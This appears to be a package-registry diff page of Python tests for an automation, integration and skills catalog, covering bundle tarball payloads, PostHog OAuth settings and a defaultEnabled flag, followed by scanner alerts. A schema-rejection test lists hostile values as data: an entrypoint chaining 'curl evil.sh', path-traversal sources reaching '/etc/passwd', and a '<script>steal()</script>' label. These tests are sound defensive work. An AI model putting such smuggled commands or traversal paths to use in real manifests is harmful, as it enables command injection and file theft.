| """Whether this entry ships a script tarball instead of a prompt.""" | ||
| return "bundle" in entry.get("setup", {}) | ||
| No entry declares this. `name` comes from the entry, `repos` from the | ||
| repo-picker field and its provider, and `trigger` from the key and fields | ||
| under `form.triggers`. Only `prompt` and an event `filter` are declared, | ||
| because only they cannot be read off the form. | ||
| def _create_path(entry: dict) -> str: | ||
| return BUNDLE_CREATE_PATH if _is_bundle(entry) else CREATE_PATH | ||
| def _repo_values(setup: dict, form_values: dict) -> list[str]: | ||
| """Every repository the form collected, whether it collects one or many. | ||
| A `multiple` picker holds a list; a single one holds a string. Reading both | ||
| as a list is what keeps the rest of the derivation from branching. | ||
| """ | ||
| setup = entry["setup"] | ||
| context = _context(entry, form_values) | ||
| repo_name, repo_field = _repo_picker(setup) | ||
| repo = form_values.get(repo_name) if repo_name else None | ||
| name, field = _repo_picker(setup) | ||
| if not name: | ||
| return [] | ||
| value = form_values.get(name) | ||
| if value is None or value == "": | ||
| return [] | ||
| if field and field.get("multiple"): | ||
| return list(value) | ||
| return [value] | ||
| body: dict = { | ||
| "name": f"{entry['name']} - {repo}" if repo else entry["name"], | ||
| "prompt": _interpolate(setup["prompt"], context), | ||
| } | ||
| if repo: | ||
| source = {"url": repo, "provider": repo_field["provider"]} | ||
| if "ref" in form_values: | ||
| source["ref"] = form_values["ref"] | ||
| body["repos"] = [source] | ||
| def _derive_name(entry: dict, form_values: dict) -> str: | ||
| """The created automation's name. One repository is worth naming; several | ||
| are not, so the count stands in rather than a list that never fits.""" | ||
| repos = _repo_values(entry["setup"], form_values) | ||
| if not repos: | ||
| return entry["name"] | ||
| if len(repos) == 1: | ||
| return f"{entry['name']} - {repos[0]}" | ||
| return f"{entry['name']} - {len(repos)} repositories" | ||
| def _derive_trigger(entry: dict, form_values: dict) -> dict: | ||
| """The `trigger` object, read off the key and fields under form.triggers.""" | ||
| setup = entry["setup"] | ||
| kind, trigger_fields = next(iter(setup["form"]["triggers"].items())) | ||
@@ -172,9 +220,71 @@ trigger = {"type": kind} | ||
| if kind == "event": | ||
| _, repo_field = _repo_picker(setup) | ||
| trigger["source"] = repo_field["provider"] | ||
| trigger["filter"] = _interpolate(setup["filter"], context) | ||
| body["trigger"] = trigger | ||
| trigger["filter"] = _interpolate(setup["filter"], _context(entry, form_values)) | ||
| return trigger | ||
| def _render_bundle_payload(entry: dict, form_values: dict, tarball_path: str) -> dict: | ||
| """The raw create body a bundle entry produces. | ||
| `tarball_path` is the one value that is neither declared nor derived: the | ||
| host uploads the packed bundle first and creates from what came back. The | ||
| rest follows the same rule as the preset path - only `config` is declared, | ||
| because only the entry knows which key of its own script each field fills. | ||
| """ | ||
| bundle = entry["setup"]["bundle"] | ||
| body: dict = { | ||
| "name": _derive_name(entry, form_values), | ||
| "trigger": _derive_trigger(entry, form_values), | ||
| "tarball_path": tarball_path, | ||
| "entrypoint": bundle["entrypoint"], | ||
| } | ||
| if "setupScript" in bundle: | ||
| body["setup_script_path"] = bundle["setupScript"] | ||
| if "timeout" in bundle: | ||
| body["timeout"] = bundle["timeout"] | ||
| body["template"] = { | ||
| "id": entry["id"], | ||
| "version": bundle["version"], | ||
| "config": _interpolate(bundle["config"], _context(entry, form_values)), | ||
| } | ||
| return body | ||
| def _render_payload(entry: dict, form_values: dict, tarball_path: str = "") -> dict: | ||
| """The create request body these form values produce. | ||
| No entry declares this. `name` comes from the entry, `repos` from the | ||
| repo-picker field and its provider, and `trigger` from the key and fields | ||
| under `form.triggers`. Only `prompt` (or, for a bundle, `config`) and an | ||
| event `filter` are declared, because only they cannot be read off the form. | ||
| """ | ||
| if _is_bundle(entry): | ||
| return _render_bundle_payload(entry, form_values, tarball_path) | ||
| setup = entry["setup"] | ||
| context = _context(entry, form_values) | ||
| _, repo_field = _repo_picker(setup) | ||
| repos = _repo_values(setup, form_values) | ||
| body: dict = { | ||
| "name": _derive_name(entry, form_values), | ||
| "prompt": _interpolate(setup["prompt"], context), | ||
| } | ||
| if repos: | ||
| body["repos"] = [ | ||
| { | ||
| "url": repo, | ||
| "provider": repo_field["provider"], | ||
| **({"ref": form_values["ref"]} if "ref" in form_values else {}), | ||
| } | ||
| for repo in repos | ||
| ] | ||
| body["trigger"] = _derive_trigger(entry, form_values) | ||
| return body | ||
| def _derive_preflight_body(entry: dict, form_values: dict) -> dict: | ||
@@ -185,4 +295,4 @@ """The preflight body the host sends. The same shape for every automation, | ||
| "automationId": entry["id"], | ||
| "endpoint": CREATE_PATH, | ||
| "draft": _render_payload(entry, form_values), | ||
| "endpoint": _create_path(entry), | ||
| "draft": _render_payload(entry, form_values, PREFLIGHT_TARBALL_PATH), | ||
| } | ||
@@ -200,3 +310,3 @@ | ||
| mapping: dict[str, list[str]] = {} | ||
| if "prompt" not in entry["setup"]: | ||
| if "prompt" not in entry["setup"] and not _is_bundle(entry): | ||
| return mapping | ||
@@ -290,4 +400,4 @@ | ||
| payload = ( | ||
| _render_payload(entry, scenario["formValues"]) | ||
| if "prompt" in setup and "formValues" in scenario | ||
| _render_payload(entry, scenario["formValues"], _uploaded_path(scenario)) | ||
| if ("prompt" in setup or _is_bundle(entry)) and "formValues" in scenario | ||
| else {} | ||
@@ -380,3 +490,3 @@ ) | ||
| with_markup = deepcopy(entry) | ||
| with_markup["setup"]["form"]["args"]["repository"]["label"] = ( | ||
| with_markup["setup"]["form"]["args"]["repositories"]["label"] = ( | ||
| "Repository <script>steal()</script>" | ||
@@ -448,6 +558,6 @@ ) | ||
| derived = _render_payload(entry, scenario["formValues"]) | ||
| derived = _render_payload(entry, scenario["formValues"], _uploaded_path(scenario)) | ||
| assert derived == scenario["create"]["request"]["body"] | ||
| assert scenario["create"]["request"]["path"] == CREATE_PATH | ||
| assert scenario["create"]["request"]["path"] == _create_path(entry) | ||
@@ -520,2 +630,3 @@ | ||
| before = CATALOG_INDEX.read_text() | ||
| bundles_before = BUNDLE_INDEX.read_text() | ||
| subprocess.run( | ||
@@ -527,4 +638,88 @@ ["node", str(BUILD_SCRIPT)], cwd=str(ROOT), check=True, capture_output=True | ||
| ) | ||
| assert BUNDLE_INDEX.read_text() == bundles_before, ( | ||
| "automations/bundle-index.js is out of date - run: npm run build:automations" | ||
| ) | ||
| @pytest.mark.parametrize("entry_path", list(_setup_paths())) | ||
| def test_bundle_files_exist_and_are_inlined(entry_path: Path) -> None: | ||
| """A bundle names repository paths; the package ships their contents. | ||
| The host packing the tarball has the published package but not this | ||
| repository, so a path that resolves here and nowhere else would produce an | ||
| entry that installs in CI and fails for every user. | ||
| """ | ||
| entry = _load(entry_path) | ||
| if not _is_bundle(entry): | ||
| pytest.skip("not a bundle entry") | ||
| bundle = entry["setup"]["bundle"] | ||
| inlined = _inlined_bundles() | ||
| assert set(inlined) >= {entry["id"]} | ||
| for packed_path, source in bundle["files"].items(): | ||
| assert (ROOT / source).is_file(), f"{source} does not exist" | ||
| assert inlined[entry["id"]][packed_path] == (ROOT / source).read_text() | ||
| # The entrypoint has to name something the tarball actually contains. | ||
| packed = set(bundle["files"]) | {"config.json"} | ||
| assert any(word in packed for word in bundle["entrypoint"].split()), ( | ||
| f"entrypoint {bundle['entrypoint']!r} names no packed file" | ||
| ) | ||
| if "setupScript" in bundle: | ||
| assert bundle["setupScript"] in packed | ||
| # A bundle is the one part of a manifest naming files and a command the host | ||
| # acts on, so the schema is what stands between an entry and the host doing it. | ||
| BUNDLE_REJECTIONS = [ | ||
| ("a packed path that climbs out of the archive", {"files": {"../main.py": "skills/github-pr-reviewer/scripts/main.py"}}), | ||
| ("a packed path that is a bare dot segment", {"files": {"./main.py": "skills/github-pr-reviewer/scripts/main.py"}}), | ||
| ("a source that traverses out of the repository", {"files": {"main.py": "skills/../../etc/passwd"}}), | ||
| ("a source outside skills/ and automations/", {"files": {"main.py": "python/main.py"}}), | ||
| ("an entrypoint carrying a shell metacharacter", {"entrypoint": "python3 main.py && curl evil.sh"}), | ||
| ("a setup script that climbs out of the archive", {"setupScript": "../setup.sh"}), | ||
| ("a version that is not a semantic version", {"version": "latest"}), | ||
| ("no files at all", {"files": {}}), | ||
| ] | ||
| @pytest.mark.parametrize( | ||
| ("case", "override"), | ||
| [pytest.param(case, override, id=case) for case, override in BUNDLE_REJECTIONS], | ||
| ) | ||
| def test_schema_refuses_an_unsafe_bundle(case: str, override: dict) -> None: | ||
| entry = deepcopy(_load(CATALOG_DIR / "github-pr-reviewer" / "manifest.json")) | ||
| entry["setup"]["bundle"].update(override) | ||
| assert list(VALIDATOR.iter_errors(entry)), f"schema admitted {case}" | ||
| def test_a_direct_entry_declares_a_prompt_or_a_bundle_but_not_both() -> None: | ||
| entry = deepcopy(_load(CATALOG_DIR / "github-pr-reviewer" / "manifest.json")) | ||
| entry["setup"]["prompt"] = "Review pull requests." | ||
| assert list(VALIDATOR.iter_errors(entry)) | ||
| del entry["setup"]["prompt"] | ||
| del entry["setup"]["bundle"] | ||
| assert list(VALIDATOR.iter_errors(entry)) | ||
| @pytest.mark.parametrize("entry_path", list(_setup_paths())) | ||
| def test_bundle_config_only_reads_declared_form_fields(entry_path: Path) -> None: | ||
| """config.json is the bundle's analogue of the prompt, and the same rule | ||
| applies: a placeholder must name an input the form actually collects.""" | ||
| entry = _load(entry_path) | ||
| if not _is_bundle(entry): | ||
| pytest.skip("not a bundle entry") | ||
| names = _field_names(entry["setup"]) | ||
| for value in _iter_strings(entry["setup"]["bundle"]["config"]): | ||
| for namespace, key in PLACEHOLDER_RE.findall(value): | ||
| if namespace == "form": | ||
| assert key in names, f"config references unknown field: {key}" | ||
| def test_no_catalog_entry_or_fixture_carries_a_credential_value() -> None: | ||
@@ -531,0 +726,0 @@ """Credentials come from a connected integration, so no entry or fixture |
@@ -149,2 +149,45 @@ import json | ||
| def test_posthog_catalog_prefers_oauth_with_safe_mcp_defaults(): | ||
| posthog = next( | ||
| entry for entry in load_catalog_entries("integrations/catalog") | ||
| if entry["id"] == "posthog" | ||
| ) | ||
| assert [option["id"] for option in posthog["connectionOptions"]] == [ | ||
| "oauth", | ||
| "api-key", | ||
| ] | ||
| oauth = posthog["connectionOptions"][0] | ||
| assert oauth["provider"] == "mcp" | ||
| assert oauth["transport"] == { | ||
| "kind": "shttp", | ||
| "url": "https://mcp.posthog.com/mcp?readonly=true", | ||
| "urlEditable": True, | ||
| } | ||
| oauth_config = oauth["auth"]["oauth"] | ||
| assert oauth_config["authorizationUrl"] == ( | ||
| "https://oauth.posthog.com/oauth/authorize/" | ||
| ) | ||
| assert oauth_config["tokenUrl"] == "https://oauth.posthog.com/oauth/token/" | ||
| assert oauth_config["registrationUrl"] == ( | ||
| "https://oauth.posthog.com/oauth/register/" | ||
| ) | ||
| assert oauth_config["pkce"] is True | ||
| assert oauth_config["clientAuthentication"] == "none" | ||
| assert oauth_config["additionalAuthorizationParams"] == { | ||
| "resource": "https://mcp.posthog.com/mcp" | ||
| } | ||
| assert oauth_config["additionalTokenParams"] == { | ||
| "resource": "https://mcp.posthog.com/mcp" | ||
| } | ||
| assert "query:read" in oauth_config["scopes"] | ||
| assert all(not scope.endswith(":write") for scope in oauth_config["scopes"]) | ||
| api_key = posthog["connectionOptions"][1] | ||
| assert api_key["auth"]["strategy"] == "bearer" | ||
| assert api_key["auth"]["credentialSecretName"] == "POSTHOG_PERSONAL_API_KEY" | ||
| assert api_key["auth"]["saveCredentialAsSecretByDefault"] is True | ||
| def test_node_package_exports_catalogs(): | ||
@@ -151,0 +194,0 @@ script = """ |
+182
-36
@@ -376,15 +376,2 @@ """Tests for the skills catalog codegen (scripts/build-skills-catalog.mjs). | ||
| EXPECTED_CATEGORY_COUNTS = { | ||
| "environment": 10, | ||
| "automations": 9, | ||
| "code-hosting": 8, | ||
| "agent-authoring": 8, | ||
| "code-quality": 6, | ||
| "integrations": 6, | ||
| "writing": 4, | ||
| "design": 2, | ||
| "other": 1, | ||
| } | ||
| def _marketplace_skill_categories() -> dict[str, str]: | ||
@@ -421,8 +408,2 @@ """Map skill directory name -> category, across every marketplace manifest.""" | ||
| def test_category_distribution_is_balanced(self): | ||
| from collections import Counter | ||
| counts = dict(Counter(_marketplace_skill_categories().values())) | ||
| assert counts == EXPECTED_CATEGORY_COUNTS | ||
| def test_plugin_entries_keep_their_own_taxonomy(self): | ||
@@ -442,22 +423,32 @@ """Plugin entries are for Claude Code browsing and must not be rewritten.""" | ||
| def build_from_fixtures( | ||
| tmp_path: Path, | ||
| skills: dict[str, str], | ||
| manifests: dict[str, dict], | ||
| check: bool = True, | ||
| ) -> subprocess.CompletedProcess: | ||
| """Run buildCatalog over temp SKILL.md dirs joined against temp manifests.""" | ||
| skills_dir = tmp_path / "skills" | ||
| skills_dir.mkdir() | ||
| for name, content in skills.items(): | ||
| (skills_dir / name).mkdir() | ||
| (skills_dir / name / "SKILL.md").write_text(content) | ||
| markets_dir = tmp_path / "marketplaces" | ||
| markets_dir.mkdir() | ||
| for filename, manifest in manifests.items(): | ||
| (markets_dir / filename).write_text(json.dumps(manifest)) | ||
| script = textwrap.dedent(f"""\ | ||
| import {{ buildCatalog }} from './scripts/build-skills-catalog.mjs'; | ||
| const entries = buildCatalog({json.dumps(str(skills_dir))}, {json.dumps(str(markets_dir))}); | ||
| process.stdout.write(JSON.stringify(entries)); | ||
| """) | ||
| return run_node(script, check=check) | ||
| class TestCategoryJoin: | ||
| def _build(self, tmp_path, skills: dict[str, str], manifests: dict[str, dict], check: bool = True): | ||
| skills_dir = tmp_path / "skills" | ||
| skills_dir.mkdir() | ||
| for name, content in skills.items(): | ||
| (skills_dir / name).mkdir() | ||
| (skills_dir / name / "SKILL.md").write_text(content) | ||
| return build_from_fixtures(tmp_path, skills, manifests, check=check) | ||
| markets_dir = tmp_path / "marketplaces" | ||
| markets_dir.mkdir() | ||
| for filename, manifest in manifests.items(): | ||
| (markets_dir / filename).write_text(json.dumps(manifest)) | ||
| script = textwrap.dedent(f"""\ | ||
| import {{ buildCatalog }} from './scripts/build-skills-catalog.mjs'; | ||
| const entries = buildCatalog({json.dumps(str(skills_dir))}, {json.dumps(str(markets_dir))}); | ||
| process.stdout.write(JSON.stringify(entries)); | ||
| """) | ||
| return run_node(script, check=check) | ||
| def test_category_is_joined_from_the_manifest(self, tmp_path): | ||
@@ -550,1 +541,156 @@ result = self._build( | ||
| run_node(script) | ||
| # --------------------------------------------------------------------------- | ||
| # defaultEnabled: the marketplace flag that seeds a new workspace's skill set | ||
| # --------------------------------------------------------------------------- | ||
| SKILL_MD = "---\nname: docker\ndescription: d\n---\nBody" | ||
| def _entry(**overrides) -> dict: | ||
| return {"name": "docker", "source": "./skills/docker", "category": "environment", **overrides} | ||
| class TestDefaultEnabledJoin: | ||
| def test_flag_is_joined_from_the_manifest(self, tmp_path): | ||
| result = build_from_fixtures( | ||
| tmp_path, | ||
| {"docker": SKILL_MD}, | ||
| {"m.json": {"plugins": [_entry(defaultEnabled=True)]}}, | ||
| ) | ||
| assert json.loads(result.stdout)[0]["defaultEnabled"] is True | ||
| def test_absent_flag_is_omitted_rather_than_false(self, tmp_path): | ||
| """So consumers can test for absence.""" | ||
| result = build_from_fixtures( | ||
| tmp_path, | ||
| {"docker": SKILL_MD}, | ||
| {"m.json": {"plugins": [_entry()]}}, | ||
| ) | ||
| assert "defaultEnabled" not in json.loads(result.stdout)[0] | ||
| def test_explicit_false_is_also_omitted(self, tmp_path): | ||
| result = build_from_fixtures( | ||
| tmp_path, | ||
| {"docker": SKILL_MD}, | ||
| {"m.json": {"plugins": [_entry(defaultEnabled=False)]}}, | ||
| ) | ||
| assert "defaultEnabled" not in json.loads(result.stdout)[0] | ||
| def test_skill_without_a_manifest_entry_is_not_default_enabled(self, tmp_path): | ||
| result = build_from_fixtures( | ||
| tmp_path, | ||
| {"lonely": "---\nname: lonely\ndescription: d\n---\nBody"}, | ||
| {"m.json": {"plugins": []}}, | ||
| ) | ||
| assert "defaultEnabled" not in json.loads(result.stdout)[0] | ||
| def test_non_boolean_throws_naming_the_skill(self, tmp_path): | ||
| """A truthy string like "true" must not silently enable a skill for every new user.""" | ||
| result = build_from_fixtures( | ||
| tmp_path, | ||
| {"docker": SKILL_MD}, | ||
| {"m.json": {"plugins": [_entry(defaultEnabled="true")]}}, | ||
| check=False, | ||
| ) | ||
| assert result.returncode != 0 | ||
| assert "docker" in result.stderr | ||
| assert "defaultEnabled" in result.stderr | ||
| assert "boolean" in result.stderr | ||
| def test_conflicting_values_across_manifests_throws(self, tmp_path): | ||
| result = build_from_fixtures( | ||
| tmp_path, | ||
| {"docker": SKILL_MD}, | ||
| { | ||
| "a.json": {"plugins": [_entry(defaultEnabled=True)]}, | ||
| "b.json": {"plugins": [_entry()]}, | ||
| }, | ||
| check=False, | ||
| ) | ||
| assert result.returncode != 0 | ||
| assert "docker" in result.stderr | ||
| assert "Conflicting defaultEnabled" in result.stderr | ||
| def test_plugin_entries_cannot_set_the_flag(self, tmp_path): | ||
| """Only `./skills/*` sources feed the catalog.""" | ||
| result = build_from_fixtures( | ||
| tmp_path, | ||
| {"docker": SKILL_MD}, | ||
| {"m.json": {"plugins": [ | ||
| {"name": "docker", "source": "./plugins/docker", "category": "utilities", "defaultEnabled": True}, | ||
| _entry(), | ||
| ]}}, | ||
| ) | ||
| assert "defaultEnabled" not in json.loads(result.stdout)[0] | ||
| class TestManifestDefaultEnabled: | ||
| """The hand-authored side: what the real marketplaces/*.json are allowed to say.""" | ||
| def _skill_entries(self): | ||
| for path in sorted(MARKETPLACES_DIR.glob("*.json")): | ||
| for entry in json.loads(path.read_text()).get("plugins", []): | ||
| if entry.get("source", "").startswith("./skills/"): | ||
| yield path.name, entry | ||
| def test_values_are_boolean(self): | ||
| bad = { | ||
| f"{filename}:{entry['name']}": entry["defaultEnabled"] | ||
| for filename, entry in self._skill_entries() | ||
| if "defaultEnabled" in entry and not isinstance(entry["defaultEnabled"], bool) | ||
| } | ||
| assert bad == {}, f"Non-boolean defaultEnabled: {bad}" | ||
| def test_off_by_default_is_expressed_by_omission(self): | ||
| redundant = [ | ||
| f"{filename}:{entry['name']}" | ||
| for filename, entry in self._skill_entries() | ||
| if entry.get("defaultEnabled") is False | ||
| ] | ||
| assert redundant == [], f"Drop the field instead: {redundant}" | ||
| def test_default_set_stays_a_curated_minority(self): | ||
| """The bug this flag fixes is "everything is on".""" | ||
| entries = list(self._skill_entries()) | ||
| enabled = [entry["name"] for _, entry in entries if entry.get("defaultEnabled")] | ||
| assert enabled, "No skill is default-enabled; a new workspace would start empty" | ||
| assert len(enabled) < len(entries) / 2, ( | ||
| f"{len(enabled)}/{len(entries)} skills are default-enabled, which is back to all-on" | ||
| ) | ||
| class TestGeneratedDefaultEnabled: | ||
| def test_names_export_matches_the_flagged_entries(self): | ||
| script = textwrap.dedent("""\ | ||
| import { SKILLS_CATALOG, DEFAULT_ENABLED_SKILL_NAMES } from './skills/index.js'; | ||
| const fromEntries = SKILLS_CATALOG.filter(e => e.defaultEnabled).map(e => e.name); | ||
| const exported = [...DEFAULT_ENABLED_SKILL_NAMES]; | ||
| if (JSON.stringify(fromEntries) !== JSON.stringify(exported)) { | ||
| console.error('Mismatch: ' + JSON.stringify(fromEntries) + ' vs ' + JSON.stringify(exported)); | ||
| process.exit(1); | ||
| } | ||
| if (exported.length === 0) process.exit(1); | ||
| """) | ||
| run_node(script) | ||
| def test_flag_is_only_ever_true_in_the_generated_catalog(self): | ||
| script = textwrap.dedent("""\ | ||
| import { SKILLS_CATALOG } from './skills/index.js'; | ||
| for (const entry of SKILLS_CATALOG) { | ||
| if ('defaultEnabled' in entry && entry.defaultEnabled !== true) { | ||
| console.error('Non-true defaultEnabled for ' + entry.name); | ||
| process.exit(1); | ||
| } | ||
| } | ||
| """) | ||
| run_node(script) | ||
| def test_names_are_re_exported_from_the_package_root(self): | ||
| script = textwrap.dedent("""\ | ||
| import { DEFAULT_ENABLED_SKILL_NAMES } from './index.js'; | ||
| if (!Array.isArray(DEFAULT_ENABLED_SKILL_NAMES)) process.exit(1); | ||
| if (DEFAULT_ENABLED_SKILL_NAMES.length === 0) process.exit(1); | ||
| """) | ||
| run_node(script) |
@@ -34,3 +34,3 @@ import os | ||
| monkeypatch.setitem(helpers, "slack_post", fake_slack_post) | ||
| markdown_summary = "✅ Done!\n\n- **Bold:** [link](https://example.com)" | ||
| markdown_summary = "- **Bold:** [link](https://example.com)" | ||
@@ -37,0 +37,0 @@ ts = helpers["post_message"]( |
Sorry, the diff of this file is too big to display
AI-detected potential code anomaly
Supply chain riskAI has identified unusual behaviors that may pose a security risk.
Found 7 instances
Long strings
Supply chain riskContains long string literals, which may be a sign of obfuscated or packed code.
Minified code
QualityThis package contains minified code. This may be harmless in some cases where minified code is included in packaged libraries, however packages on npm should not minify code.
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
AI-detected potential code anomaly
Supply chain riskAI has identified unusual behaviors that may pose a security risk.
Found 7 instances
Long strings
Supply chain riskContains long string literals, which may be a sign of obfuscated or packed code.
URL strings
Supply chain riskPackage contains fragments of external URLs or IP addresses, which the package may be accessing at runtime.
2699035
5.66%524
0.58%30179
7.1%4
33.33%70
1.45%